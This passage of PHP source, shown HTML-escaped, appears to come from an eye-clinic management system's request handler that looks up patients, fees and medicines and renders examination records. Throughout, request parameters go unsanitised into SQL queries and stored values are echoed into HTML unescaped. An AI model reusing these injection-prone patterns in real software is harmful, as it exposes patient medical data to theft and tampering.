                    &lt;td&gt;'.$row['email'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['message'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['id'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if (isset($_GET['status']) &amp;&amp; $_GET['status'] == 'viewMedicine') {
        $mgId = $_GET['id'];
        $query = &quot;SELECT tbl_medicine_group.*, 
                         GROUP_CONCAT(DISTINCT tbl_medicine.medicineName ORDER BY tbl_medicine.medicineName ASC) AS medicineNames, 
                         GROUP_CONCAT(DISTINCT tbl_dosage.name ORDER BY tbl_dosage.name ASC) AS dosageNames, 
                         GROUP_CONCAT(DISTINCT tbl_medicine_instruction.name ORDER BY tbl_medicine_instruction.name ASC) AS instructions
                  FROM tbl_medicine_group
                  LEFT JOIN tbl_medicine ON FIND_IN_SET(tbl_medicine.medicineId, tbl_medicine_group.medicineId) AND tbl_medicine.deleteStatus = '0'
                  LEFT JOIN tbl_medicine_instruction ON FIND_IN_SET(tbl_medicine_instruction.miId, tbl_medicine_group.miId) AND tbl_medicine_instruction.deleteStatus = '0'
                  LEFT JOIN tbl_dosage ON FIND_IN_SET(tbl_dosage.dosageId, tbl_medicine_group.dosageId) AND tbl_dosage.deleteStatus = '0'
                  WHERE tbl_medicine_group.mgId = $mgId AND tbl_medicine_group.deleteStatus = '0'
                  &quot;;

                // echo $query;
                // exit;
        $result = mysqli_query($con, $query);
        $data = [];

        if (mysqli_num_rows($result) &gt; 0) {
            while ($row = mysqli_fetch_assoc($result)) {
                $data[] = [
                    'medicineNames' =&gt; $row['medicineNames'],
                    'dosageNames' =&gt; $row['dosageNames'],
                    'instructions' =&gt; $row['instructions'],
                    'medicineDays' =&gt; $row['medicineDays'],
                    'medicineQty' =&gt; $row['medicineQty']
                ];
            }
        }

        header('Content-Type: application/json');
        echo json_encode(['data' =&gt; $data]);
    }

       if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'getFee') {
        if (isset($_POST['caseId'])) {
            $caseId = $_POST['caseId'];
            $query = mysqli_query($con, &quot;SELECT caseFee FROM tbl_case WHERE caseId = '$caseId' AND deleteStatus = '0'&quot;);
            if ($row = mysqli_fetch_array($query)) {
                echo $row['caseFee'];
            } else {
                echo '';
            }
        }
    } 

    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'focFee') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];
            $query = mysqli_query($con, &quot;SELECT discount FROM tbl_patient WHERE patientId = '$patientId' AND deleteStatus = '0'&quot;);
            if ($row = mysqli_fetch_array($query)) {
                echo $row['discount'];
            } else {
                echo '';
            }
        }
    }

    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'check-city') {
        $city = addslashes($_POST['city']);

        $sql = &quot;SELECT * FROM `tbl_location` WHERE `deleteStatus` = '0' AND `city` LIKE '%$city%'&quot;;
        $query = mysqli_query($con, $sql);

        if (mysqli_num_rows($query) == 0) {
            echo ''; // No results found
        } else {
            while ($row = mysqli_fetch_array($query)) {
                echo '&lt;div class=&quot;city-option&quot; onclick=&quot;selectCity(\'' . addslashes($row['city']) . '\')&quot;&gt;' . $row['city'] . '&lt;/div&gt;';
            }
        }
    }


    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'check-number') {
        if (isset($_POST['contactNo'])) {
            $contactNo = $_POST['contactNo'];
            $query = mysqli_query($con, &quot;SELECT name FROM tbl_contacts WHERE contactNo = '$contactNo'&quot;);
            if ($row = mysqli_fetch_array($query)) {
                echo $row['name'];
            } else {
                echo 'Number not found';
            }
        }
    }

    if (isset($_POST['status']) &amp;&amp; $_POST['status'] == 'check-patient-info') {
        $contact = addslashes($_POST['contactNo']);

        $sql = &quot;SELECT * FROM `tbl_patient` 
                WHERE `deleteStatus` = '0' 
                AND `contactNo` LIKE '%$contact%' 
                GROUP BY `patientCode` 
                ORDER BY `patientId` DESC;
                &quot;;
        $query = mysqli_query($con, $sql);
        
        if (mysqli_num_rows($query) == 0) {
            echo '';
        } else {
            while ($row = mysqli_fetch_array($query)) {
                echo '&lt;a href=&quot;javascript:void(0);&quot; onclick=&quot;setUserDetails('.$row['patientId'].');&quot; style=&quot;color:black;&quot;&gt;&lt;li style=&quot;cursor:pointer;border-bottom:1px solid #efefef;line-height:24px;&quot;&gt;
                    &lt;i class=&quot;feather-user&quot;&gt;&lt;/i&gt; &lt;b&gt;'.$row['firstName'].' '.$row['lastName'].'&lt;/b&gt;&lt;/li&gt;&lt;/a&gt;';
            }
        }
    }

    if($status == 'get-patient-data') {
        // $query = mysqli_query($con, &quot;SELECT p.*, c.cityName AS city, s.stateName AS state, d.doctorName AS doctor, dist.districtName AS district
        //     FROM tbl_state s
        //     LEFT JOIN tbl_patient p ON s.stateId = p.stateId
        //     LEFT JOIN tbl_doctor d ON d.doctorId = p.doctorId
        //     LEFT JOIN tbl_district dist ON dist.districtId = p.districtId
        //     LEFT JOIN tbl_city c ON p.cityId = c.cityId
        //     WHERE p.patientId = '&quot;.$_POST['patientId'].&quot;'&quot;);

        $query = mysqli_query($con,&quot;SELECT tbl_patient.*,tbl_location.* FROM tbl_patient JOIN 
                                    tbl_location ON tbl_patient.locationId = tbl_location.id
                                    WHERE tbl_patient.patientId = '&quot;.$_POST['patientId'].&quot;'&quot;);

        $row=mysqli_fetch_array($query);
        print json_encode($row);
    }


    if ($status == 'patientcaseHistory') {
        if (isset($_POST['patientId'])) {
            $patientId = $_POST['patientId'];
            $patientCode = $_POST['patientCode'];

            $caseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor 
                          FROM tbl_patient
                          LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
                          WHERE tbl_patient.patientCode = '$patientCode' ORDER BY tbl_patient.patientId DESC&quot;;

            $caseResult = mysqli_query($con, $caseQuery);

            if ($caseResult &amp;&amp; mysqli_num_rows($caseResult) &gt; 0) {
                $srNo = 1;
                while ($caseRow = mysqli_fetch_assoc($caseResult)) {
                    echo '&lt;tr&gt;
                            &lt;td&gt;&lt;b&gt;' . $srNo++ . '&lt;/b&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;span class=&quot;badge badge-dark text-white&quot;&gt;' . $caseRow['patientCode'] . '&lt;/span&gt;&lt;/td&gt;
                            &lt;td&gt;' . $caseRow['firstName'] . ' ' . $caseRow['middleName'] . ' ' . $caseRow['lastName'] . '&lt;/td&gt;
                            &lt;td&gt;' . date(&quot;d-m-Y&quot;, strtotime($caseRow['appointmentDate'])) . '&lt;/td&gt;
                            &lt;td&gt;' . $caseRow['doctor'] . '&lt;/td&gt;
                            &lt;td&gt;
                                &lt;a href=&quot;javascript:void(0);&quot; class=&quot;btn btn-sm btn-primary mlbtn-5&quot; 
                                   onclick=&quot;openTreatmentModel(\'' . $caseRow['patientId'] . '\', \'' . $caseRow['appointmentDate'] . '\')&quot;&gt;View Treatment&lt;/a&gt;
                            &lt;/td&gt;
                        &lt;/tr&gt;';
                }
            } else {
                echo '&lt;tr&gt;&lt;td colspan=&quot;6&quot; class=&quot;text-center&quot;&gt;No case history found for this patient.&lt;/td&gt;&lt;/tr&gt;';
            }
        }
    }

//     if ($status == 'patientHistoryshow') {
//     if (isset($_POST['patientId']) &amp;&amp; isset($_POST['appointmentDate'])) {
//         $patientId = $_POST['patientId'];
//         $date = $_POST['appointmentDate'];

        


//         // First, get the patientCode based on the patientId
//         $codeQuery = &quot;SELECT patientCode FROM tbl_patient WHERE patientId = '$patientId'&quot;;
//         $codeResult = mysqli_query($con, $codeQuery);

//         if ($codeResult &amp;&amp; mysqli_num_rows($codeResult) &gt; 0) {
//             $codeRow = mysqli_fetch_assoc($codeResult);
//             $patientCode = $codeRow['patientCode'];
            
//             $caseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor 
//                       FROM tbl_patient
//                       LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
//                       WHERE tbl_patient.patientId = '$patientId' AND tbl_patient.appointmentDate = '$date'&quot;;
//                       // echo $caseQuery;exit;
//             // Now use the patientCode to get the previous appointment
//             $precaseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor
//                           FROM tbl_patient
//                           LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
//                           WHERE tbl_patient.patientCode = '$patientCode' 
//                           AND tbl_patient.appointmentDate &lt; '$date'
//                           ORDER BY tbl_patient.appointmentDate DESC
//                           LIMIT 1&quot;;

//                           $precaseResult = mysqli_query($con, $precaseQuery);
//                             $previousCaseData = mysqli_fetch_assoc($precaseResult);


//                      $nextcaseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor
//                           FROM tbl_patient
//                           LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
//                           WHERE tbl_patient.patientCode = '$patientCode' 
//                           AND tbl_patient.appointmentDate &gt; '$date'
//                           ORDER BY tbl_patient.appointmentDate DESC
//                           LIMIT 1&quot;;

//                           $nextcaseResult = mysqli_query($con, $nextcaseQuery);
//                             $nextviousCaseData = mysqli_fetch_assoc($nextcaseResult);

//             // Debug query output
//             // echo $caseQuery; exit;

//             $caseResult = mysqli_query($con, $caseQuery);

//             if ($caseResult &amp;&amp; mysqli_num_rows($caseResult) &gt; 0) {
//                 while ($caseRow = mysqli_fetch_assoc($caseResult)) {
//                     // Output the results in the desired format
//                     echo &quot;&lt;p&gt;&lt;strong&gt;Doctor: &lt;/strong&gt;&quot; . $caseRow['doctor'] . &quot;&lt;/p&gt;&quot;;
//                     echo &quot;&lt;p&gt;&lt;strong&gt;Patient Name: &lt;/strong&gt;&quot; . $caseRow['firstName'] . ' ' . $caseRow['middleName'] . ' ' . $caseRow['lastName'] . &quot;&lt;/p&gt;&quot;;
//                     echo &quot;&lt;p&gt;&lt;strong&gt;Appointment Date: &lt;/strong&gt;&quot; . $caseRow['appointmentDate'] . &quot;&lt;/p&gt;&quot;;
                    
//                     // You can add further buttons or actions as needed
//                     echo &quot;&lt;button onclick='openTreatmentModel(&quot;.$nextviousCaseData['patientId'].&quot;,\&quot;&quot;.$nextviousCaseData['appointmentDate'].&quot;\&quot;)'&gt;Next&lt;/button&gt;&quot;;
//                     echo &quot;&lt;button onclick='openTreatmentModel(&quot;.$previousCaseData['patientId'].&quot;,\&quot;&quot;.$previousCaseData['appointmentDate'].&quot;\&quot;)'&gt;Previous&lt;/button&gt;&quot;;
//                 }
//             } else {
//                 echo '&lt;p class=&quot;text-center&quot;&gt;No previous case history found for this patient.&lt;/p&gt;';
//             }
//         } else {
//             echo '&lt;p class=&quot;text-center&quot;&gt;Invalid patient ID.&lt;/p&gt;';
//         }
//     }
// }




if ($status == 'patientHistoryshow') {
    if (isset($_POST['patientId']) &amp;&amp; isset($_POST['appointmentDate'])) {
        $patientId = $_POST['patientId'];
        $date = $_POST['appointmentDate'];

        // First, get the patientCode based on the patientId
        $codeQuery = &quot;SELECT patientCode FROM tbl_patient WHERE patientId = '$patientId'&quot;;
        $codeResult = mysqli_query($con, $codeQuery);

        if ($codeResult &amp;&amp; mysqli_num_rows($codeResult) &gt; 0) {
            $codeRow = mysqli_fetch_assoc($codeResult);
            $patientCode = $codeRow['patientCode'];

            // Get current case details
            // $caseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor 
            //               FROM tbl_patient
            //               LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
            //               WHERE tbl_patient.patientId = '$patientId' AND tbl_patient.appointmentDate = '$date'&quot;;

                          // $patientId = base64_decode($_GET['id']); // Decode patient ID

            $caseQuery = &quot;
                SELECT tbl_patient.*, 
                       tbl_doctor.doctorName AS doctor, 
                       patient_medicine_data.*, 
                       patient_pg_data.*, 
                       patient_st_data.*, 
                       patient_ho_kco_data.*, 
                       patient_co_data.*, 
                       patient_vision_data.*, 
                       patient_nct_data.*, 
                       patient_oe_data.*, 
                       patient_fundus_data.*, 
                       patient_diagnosis_data.*
                FROM tbl_patient
                LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
                LEFT JOIN patient_medicine_data ON patient_medicine_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_pg_data ON patient_pg_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_st_data ON patient_st_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_ho_kco_data ON patient_ho_kco_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_co_data ON patient_co_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_vision_data ON patient_vision_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_nct_data ON patient_nct_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_oe_data ON patient_oe_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_fundus_data ON patient_fundus_data.patientId = tbl_patient.patientId
                LEFT JOIN patient_diagnosis_data ON patient_diagnosis_data.patientId = tbl_patient.patientId
                WHERE tbl_patient.patientId = '$patientId' 
                AND tbl_patient.appointmentDate = '$date'&quot;;
    
            // echo $caseQuery;exit;
            $caseResult = mysqli_query($con, $caseQuery);

            // Get previous appointment details
            $precaseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor
                             FROM tbl_patient
                             LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
                             WHERE tbl_patient.patientCode = '$patientCode' 
                             AND tbl_patient.appointmentDate &lt; '$date'
                             ORDER BY tbl_patient.appointmentDate DESC
                             LIMIT 1&quot;;
            $precaseResult = mysqli_query($con, $precaseQuery);
            $previousCaseData = mysqli_fetch_assoc($precaseResult);

            // Get next appointment details
            $nextcaseQuery = &quot;SELECT tbl_patient.*, tbl_doctor.doctorName AS doctor
                              FROM tbl_patient
                              LEFT JOIN tbl_doctor ON tbl_doctor.doctorId = tbl_patient.doctorId
                              WHERE tbl_patient.patientCode = '$patientCode' 
                              AND tbl_patient.appointmentDate &gt; '$date'
                              ORDER BY tbl_patient.appointmentDate ASC
                              LIMIT 1&quot;;
            $nextcaseResult = mysqli_query($con, $nextcaseQuery);
            $nextCaseData = mysqli_fetch_assoc($nextcaseResult);

            if ($caseResult &amp;&amp; mysqli_num_rows($caseResult) &gt; 0) {
                $caseRow = mysqli_fetch_assoc($caseResult);
                ?&gt;
                
                &lt;div class=&quot;container mt-4&quot;&gt;
                    &lt;div class=&quot;container&quot;&gt;
                        &lt;div class=&quot;row&quot;&gt;
                            &lt;div class=&quot;col-6 pt-5&quot;&gt;
                                &lt;div class=&quot;row&quot; style=&quot;position: absolute; bottom: 80px;&quot;&gt;
                                    &lt;div class=&quot;col-md-6&quot; style=&quot;padding-left: 0px !important;&quot;&gt;
                                        &lt;h4 class=&quot;&quot;&gt;Right Eye&lt;/h4&gt;
                                        &lt;table class=&quot;table table-bordered&quot;&gt;
                                            &lt;thead&gt;
                                                &lt;tr&gt;
                                                    &lt;th&gt;&lt;?php echo $caseRow['rd_vnstId']; ?&gt;&lt;/th&gt;
                                                    &lt;th&gt;SPH&lt;/th&gt;
                                                    &lt;th&gt;CYL&lt;/th&gt;
                                                    &lt;th&gt;AXIS&lt;/th&gt;
                                                &lt;/tr&gt;
                                            &lt;/thead&gt;
                                            &lt;tbody&gt;
                                                &lt;tr&gt;
                                                    &lt;td&gt;D&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st_cyl']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st_axis']; ?&gt;&lt;/td&gt;
                                                &lt;/tr&gt;
                                                &lt;tr&gt;
                                                    &lt;td&gt;N&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st_cyl']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st_axis']; ?&gt;&lt;/td&gt;
                                                &lt;/tr&gt;
                                            &lt;/tbody&gt;
                                        &lt;/table&gt;
                                    &lt;/div&gt;

                                    &lt;div class=&quot;col-md-6&quot; style=&quot;padding-left: 0px !important;&quot;&gt;
                                        &lt;h4 class=&quot;&quot;&gt;Left Eye&lt;/h4&gt;
                                        &lt;table class=&quot;table table-bordered&quot;&gt;
                                            &lt;thead&gt;
                                                &lt;tr&gt;
                                                    &lt;th&gt;&lt;?php echo $caseRow['ld_vnstId']; ?&gt;&lt;/th&gt;
                                                    &lt;th&gt;SPH&lt;/th&gt;
                                                    &lt;th&gt;CYL&lt;/th&gt;
                                                    &lt;th&gt;AXIS&lt;/th&gt;
                                                &lt;/tr&gt;
                                            &lt;/thead&gt;
                                            &lt;tbody&gt;
                                                &lt;tr&gt;
                                                    &lt;td&gt;D&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st_left']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st_cyl_left']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['dis_st_axis_left']; ?&gt;&lt;/td&gt;
                                                &lt;/tr&gt;
                                                &lt;tr&gt;
                                                    &lt;td&gt;N&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st_left']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st_cyl_left']; ?&gt;&lt;/td&gt;
                                                    &lt;td&gt;&lt;?php echo $caseRow['near_st_axis_left']; ?&gt;&lt;/td&gt;
                                                &lt;/tr&gt;
                                            &lt;/tbody&gt;
                                        &lt;/table&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;

                                &lt;div class=&quot;d-flex&quot; style=&quot;position: absolute; bottom: 0px;&quot;&gt;
                                    &lt;h6&gt;K/C/O:&lt;/h6&gt;
                                    &lt;p class=&quot;ml-3&quot;  style=&quot;margin-top: -4px;&quot;&gt;&lt;?php echo $caseRow['hop_kco']; ?&gt;&lt;/p&gt;
                                &lt;/div&gt;
                            &lt;/div&gt;

                            &lt;div class=&quot;col-6&quot;&gt;
                                &lt;div&gt;
                                    &lt;div class=&quot;form-group d-flex&quot;&gt;
                                        &lt;h6 for=&quot;c-o&quot;&gt;C/O:&lt;/h6&gt;
                                        &lt;p class=&quot;ml-3&quot; style=&quot;margin-top: -4px;&quot;&gt; &lt;?php echo $caseRow['co']; ?&gt;&lt;/p&gt;
                                    &lt;/div&gt;

                                    &lt;div class=&quot;form-group d-flex&quot;&gt;
                                        &lt;h6 for=&quot;h-o&quot;&gt;H/O:&lt;/h6&gt;
                                        
                                        &lt;p class=&quot;ml-3&quot;  style=&quot;margin-top: -4px;&quot;&gt;&lt;?php echo $caseRow['hop_ho']; ?&gt; Since &lt;?php echo $caseRow['hop_since']; ?&gt; &lt;?php echo $caseRow['hop_durationId']; ?&gt;&lt;/p&gt;
                                    &lt;/div&gt;

                                    &lt;div class=&quot;form-group&quot;&gt;
                                        &lt;h6 for=&quot;vision&quot;&gt;Vision:&lt;/h6&gt;
                                        &lt;p&gt;&lt;?php echo $caseRow['vision']; ?&gt;&lt;/p&gt;
                                    &lt;/div&gt;
                                &lt;/div&gt;

                                &lt;!-- O/E Section --&gt;
                                &lt;table class=&quot;table table-bordered&quot;&gt;
                                    &lt;!-- &lt;div class=&quot;d-flex justify-content-around badge-dark text-white&quot;&gt;
                                        &lt;h6&gt;R&lt;/h6&gt;
                                        &lt;h6&gt;O/E&lt;/h6&gt;
                                        &lt;h6&gt;L&lt;/h6&gt;
                                    &lt;/div&gt; --&gt;
                                     &lt;thead class=&quot;thead-dark&quot;&gt;
                                        &lt;tr class=&quot;text-white text-center&quot;&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;O/E&lt;/th&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;R&lt;/th&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;L&lt;/th&gt;
                                        &lt;/tr&gt;
                                    &lt;/thead&gt;
                                    &lt;tbody&gt;
                                        &lt;tr&gt;
                                            &lt;td style=&quot;width: 150px;&quot;&gt;SAC&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_sacId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_sacId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;LID&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_lidId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_lidId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;CONJ&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_conjId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_conjId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;CORNEA&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_corneaId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_corneaId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;AC&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_acId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_acId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;IRIS&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_irisId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_irisId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;PUPIL&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_pupilId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_pupilId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;LENS&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_lensId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_lensId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;EM&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_emId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_emId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;COVER TEST&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_covertestId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_covertestId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;OTHER&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_other']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_other']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                    &lt;/tbody&gt;
                                &lt;/table&gt;

                                &lt;!-- Fundus Section --&gt;
                                &lt;table class=&quot;table table-bordered&quot;&gt;
                                    &lt;!-- &lt;div class=&quot;d-flex justify-content-around badge-dark text-white&quot;&gt;
                                        &lt;h6&gt;R&lt;/h6&gt;
                                        &lt;h6&gt;Fundus&lt;/h6&gt;
                                        &lt;h6&gt;L&lt;/h6&gt;
                                    &lt;/div&gt; --&gt;
                                     &lt;thead class=&quot;thead-dark&quot;&gt;
                                        &lt;tr class=&quot;text-white text-center&quot;&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;FUNDUS&lt;/th&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;R&lt;/th&gt;
                                            &lt;th style=&quot;padding: 3px;&quot;&gt;L&lt;/th&gt;
                                        &lt;/tr&gt;
                                    &lt;/thead&gt;
                                    &lt;tbody&gt;
                                        &lt;tr&gt;
                                            &lt;td style=&quot;width: 150px;&quot;&gt;DISC&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_discId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_discId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;FR&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['r_frId']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['l_frId']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                        &lt;tr&gt;
                                            &lt;td&gt;COMMENT&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['rf_comment']; ?&gt;&lt;/td&gt;
                                            &lt;td&gt;&lt;?php echo $caseRow['lf_comment']; ?&gt;&lt;/td&gt;
                                        &lt;/tr&gt;
                                    &lt;/tbody&gt;
                                &lt;/table&gt;

                                &lt;div class=&quot;form-group d-flex&quot;&gt;
                                    &lt;h6&gt;Diagnosis :&lt;/h6&gt;
                                    &lt;p class=&quot;ml-3&quot; style=&quot;margin-top: -3px;&quot;&gt;&lt;?php echo $caseRow['diagnosisValue']; ?&gt;&lt;/p&gt;
                                &lt;/div&gt;
                                &lt;div class=&quot;form-group d-flex&quot;&gt;
                                    &lt;h6&gt;Advice :&lt;/h6&gt;
                                    &lt;p class=&quot;ml-3&quot; style=&quot;margin-top: -3px;&quot;&gt;&lt;?php echo $caseRow['advice']; ?&gt;&lt;/p&gt;
                                &lt;/div&gt;
                            &lt;/div&gt;
                        &lt;/div&gt;

                        &lt;!-- Navigation Buttons --&gt;
                        &lt;!-- &lt;div class=&quot;text-center mt-4&quot;&gt;
                            &lt;?php if ($previousCaseData): ?&gt;
                                &lt;form method=&quot;post&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;patientId&quot; value=&quot;&lt;?php echo $previousCaseData['patientId']; ?&gt;&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;appointmentDate&quot; value=&quot;&lt;?php echo $previousCaseData['appointmentDate']; ?&gt;&quot;&gt;
                                    &lt;button class=&quot;btn btn-info no-print&quot; type=&quot;submit&quot;&gt;Previous&lt;/button&gt;
                                &lt;/form&gt;
                            &lt;?php endif; ?&gt;

                            &lt;button onclick=&quot;window.print()&quot; class=&quot;btn btn-dark no-print&quot;&gt;Print&lt;/button&gt;

                            &lt;?php if ($nextCaseData): ?&gt;
                                &lt;form method=&quot;post&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;patientId&quot; value=&quot;&lt;?php echo $nextCaseData['patientId']; ?&gt;&quot;&gt;
                                    &lt;input type=&quot;hidden&quot; name=&quot;appointmentDate&quot; value=&quot;&lt;?php echo $nextCaseData['appointmentDate']; ?&gt;&quot;&gt;
                                    &lt;button class=&quot;btn btn-info no-print&quot; type=&quot;submit&quot;&gt;Next&lt;/button&gt;
                                &lt;/form&gt;
                            &lt;?php endif; ?&gt;
                        &lt;/div&gt; --&gt;

                        &lt;div class=&quot;row mt-4&quot;&gt;
                            &lt;div class=&quot;col-6 text-left&quot;&gt;
                                &lt;?php if ($previousCaseData): ?&gt;
                                    &lt;form method=&quot;post&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;patientId&quot; value=&quot;&lt;?php echo $previousCaseData['patientId']; ?&gt;&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;appointmentDate&quot; value=&quot;&lt;?php echo $previousCaseData['appointmentDate']; ?&gt;&quot;&gt;
                                        &lt;a class=&quot;btn btn-info no-print&quot; onclick='openTreatmentModel(&lt;?php echo $previousCaseData[&quot;patientId&quot;]; ?&gt;, &quot;&lt;?php echo $previousCaseData[&quot;appointmentDate&quot;]; ?&gt;&quot;)'&gt;Previous&lt;/a&gt;
                                    &lt;/form&gt;
                                &lt;?php endif; ?&gt;
                            &lt;/div&gt;

                            &lt;div class=&quot;col-6 text-right&quot;&gt;
                                &lt;?php if ($nextCaseData): ?&gt;
                                    &lt;form method=&quot;post&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;patientId&quot; value=&quot;&lt;?php echo $nextCaseData['patientId']; ?&gt;&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;appointmentDate&quot; value=&quot;&lt;?php echo $nextCaseData['appointmentDate']; ?&gt;&quot;&gt;
